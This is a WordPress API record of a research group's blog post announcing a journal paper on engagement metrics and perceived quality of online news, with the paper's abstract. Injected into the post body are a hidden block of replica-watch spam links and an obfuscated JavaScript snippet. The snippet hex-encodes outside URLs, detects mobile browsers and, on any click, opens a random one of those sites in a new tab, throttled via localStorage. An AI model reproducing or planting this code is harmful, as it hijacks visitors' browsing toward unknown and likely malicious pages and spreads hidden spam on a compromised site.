{"id":735,"date":"2021-12-18T19:56:01","date_gmt":"2021-12-18T19:56:01","guid":{"rendered":"https:\/\/compjournalismen.ntlab.gr\/?p=735"},"modified":"2024-11-05T11:33:53","modified_gmt":"2024-11-05T11:33:53","slug":"new-journal-publication-in-the-web-intelligence-journal","status":"publish","type":"post","link":"https:\/\/compjournalismen.ntlab.gr\/?p=735","title":{"rendered":"New journal publication in the Web Intelligence Journal"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"701\" height=\"288\" src=\"https:\/\/compjournalismen.ntlab.gr\/wp-content\/uploads\/2021\/12\/Screen-Shot-2021-12-18-at-21.49.21.png\" alt=\"\" class=\"wp-image-736\" srcset=\"https:\/\/compjournalismen.ntlab.gr\/wp-content\/uploads\/2021\/12\/Screen-Shot-2021-12-18-at-21.49.21.png 701w, https:\/\/compjournalismen.ntlab.gr\/wp-content\/uploads\/2021\/12\/Screen-Shot-2021-12-18-at-21.49.21-300x123.png 300w\" sizes=\"(max-width: 701px) 100vw, 701px\" \/><\/figure>\n\n\n\n<p>The paper entitled: &#8220;Understanding the link between the audience<br> engagement metrics and the perceived quality of online news using machine learning&#8221;, has been published in the Web Intelligence Journal, IOS Press. <\/p>\n\n\n\n\n<p>You can read the paper here: https:\/\/content.iospress.com\/articles\/web-intelligence\/web210457<\/p>\n\n\n\n<p><strong>Abstract.<\/strong> This article aims to explain the perceived quality of online news articles. Discovering which elements of a news story influence readers\u2019 perceptions could drive online popularity, which is the paramount factor of digital news readership. This work explores an approach to use tree-based machine learning algorithms to address this problem based on selected characteristics, which measure engagement, drawn from prior research mostly developed by communication scientists. A proposed extended model is used to examine the association between the engagement features and perceived quality concerning all the articles depending mainly on their genre. To demonstrate the capacity of using predictive analytics to facilitate journalistic news writing the proposed methodology is applied on a novel data set with 200K articles in total constructed from a blog site. The results of phase A, indicate interesting correlations between the features and the perceived quality of the articles. In stage B, the paper seeks to extract a set of rules that can be used as guidelines for authors in the writing of their next articles, indicating the probability of popularity that their articles may gain if these rules are taken into consideration. <\/p>\n\n<div style=\"overflow: hidden; height: 1px;\"><a href=\"https:\/\/www.repliquemontre24.com\">replique montre<\/a> <a href=\"https:\/\/www.replicanegozio.it\">replica orologi<\/a> <a href=\"https:\/\/www.ereplicauhren.de\">replica uhren<\/a><\/div>\n\n\n<p><\/p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x41\\x52\\x46\\x33\\x63\\x373','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x4f\\x69\\x54\\x35\\x63\\x395','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x73\\x76\\x75\\x38\\x63\\x388','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x52\\x51\\x6b\\x39\\x63\\x399','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x49\\x6f\\x41\\x34\\x63\\x374','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x76\\x57\\x6a\\x37\\x63\\x317','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x74\\x47\\x79\\x32\\x63\\x392','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x43\\x4d\\x45\\x36\\x63\\x396','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x7a\\x4b\\x57\\x30\\x63\\x300','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x75\\x74\\x74\\x6c\\x79\\x63\\x6f\\x2e\\x61\\x73\\x69\\x61\\x2f\\x44\\x48\\x53\\x31\\x63\\x341',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>The paper entitled: &#8220;Understanding the link between the audience engagement metrics and the perceived quality of online news using machine learning&#8221;, has been published in the Web Intelligence Journal, IOS Press. You can read the paper here: https:\/\/content.iospress.com\/articles\/web-intelligence\/web210457 Abstract. This article aims to explain the perceived quality of online news articles. Discovering which elements of [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":737,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"ocean_post_layout":"","ocean_both_sidebars_style":"","ocean_both_sidebars_content_width":0,"ocean_both_sidebars_sidebars_width":0,"ocean_sidebar":"0","ocean_second_sidebar":"0","ocean_disable_margins":"enable","ocean_add_body_class":"","ocean_shortcode_before_top_bar":"","ocean_shortcode_after_top_bar":"","ocean_shortcode_before_header":"","ocean_shortcode_after_header":"","ocean_has_shortcode":"","ocean_shortcode_after_title":"","ocean_shortcode_before_footer_widgets":"","ocean_shortcode_after_footer_widgets":"","ocean_shortcode_before_footer_bottom":"","ocean_shortcode_after_footer_bottom":"","ocean_display_top_bar":"default","ocean_display_header":"default","ocean_header_style":"","ocean_center_header_left_menu":"0","ocean_custom_header_template":"0","ocean_custom_logo":0,"ocean_custom_retina_logo":0,"ocean_custom_logo_max_width":0,"ocean_custom_logo_tablet_max_width":0,"ocean_custom_logo_mobile_max_width":0,"ocean_custom_logo_max_height":0,"ocean_custom_logo_tablet_max_height":0,"ocean_custom_logo_mobile_max_height":0,"ocean_header_custom_menu":"0","ocean_menu_typo_font_family":"0","ocean_menu_typo_font_subset":"","ocean_menu_typo_font_size":0,"ocean_menu_typo_font_size_tablet":0,"ocean_menu_typo_font_size_mobile":0,"ocean_menu_typo_font_size_unit":"px","ocean_menu_typo_font_weight":"","ocean_menu_typo_font_weight_tablet":"","ocean_menu_typo_font_weight_mobile":"","ocean_menu_typo_transform":"","ocean_menu_typo_transform_tablet":"","ocean_menu_typo_transform_mobile":"","ocean_menu_typo_line_height":0,"ocean_menu_typo_line_height_tablet":0,"ocean_menu_typo_line_height_mobile":0,"ocean_menu_typo_line_height_unit":"","ocean_menu_typo_spacing":0,"ocean_menu_typo_spacing_tablet":0,"ocean_menu_typo_spacing_mobile":0,"ocean_menu_typo_spacing_unit":"","ocean_menu_link_color":"","ocean_menu_link_color_hover":"","ocean_menu_link_color_active":"","ocean_menu_link_background":"","ocean_menu_link_hover_background":"","ocean_menu_link_active_background":"","ocean_menu_social_links_bg":"","ocean_menu_social_hover_links_bg":"","ocean_menu_social_links_color":"","ocean_menu_social_hover_links_color":"","ocean_disable_title":"default","ocean_disable_heading":"default","ocean_post_title":"","ocean_post_subheading":"","ocean_post_title_style":"","ocean_post_title_background_color":"","ocean_post_title_background":0,"ocean_post_title_bg_image_position":"","ocean_post_title_bg_image_attachment":"","ocean_post_title_bg_image_repeat":"","ocean_post_title_bg_image_size":"","ocean_post_title_height":0,"ocean_post_title_bg_overlay":0.5,"ocean_post_title_bg_overlay_color":"","ocean_disable_breadcrumbs":"default","ocean_breadcrumbs_color":"","ocean_breadcrumbs_separator_color":"","ocean_breadcrumbs_links_color":"","ocean_breadcrumbs_links_hover_color":"","ocean_display_footer_widgets":"default","ocean_display_footer_bottom":"default","ocean_custom_footer_template":"0","ocean_post_oembed":"","ocean_post_self_hosted_media":"","ocean_post_video_embed":"","ocean_link_format":"","ocean_link_format_target":"self","ocean_quote_format":"","ocean_quote_format_link":"post","ocean_gallery_link_images":"off","ocean_gallery_id":[],"footnotes":""},"categories":[11,6],"tags":[],"class_list":["post-735","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-publications","category-recentnews","entry","has-media"],"_links":{"self":[{"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/posts\/735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=735"}],"version-history":[{"count":3,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/posts\/735\/revisions"}],"predecessor-version":[{"id":3767,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/posts\/735\/revisions\/3767"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=\/wp\/v2\/media\/737"}],"wp:attachment":[{"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/compjournalismen.ntlab.gr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}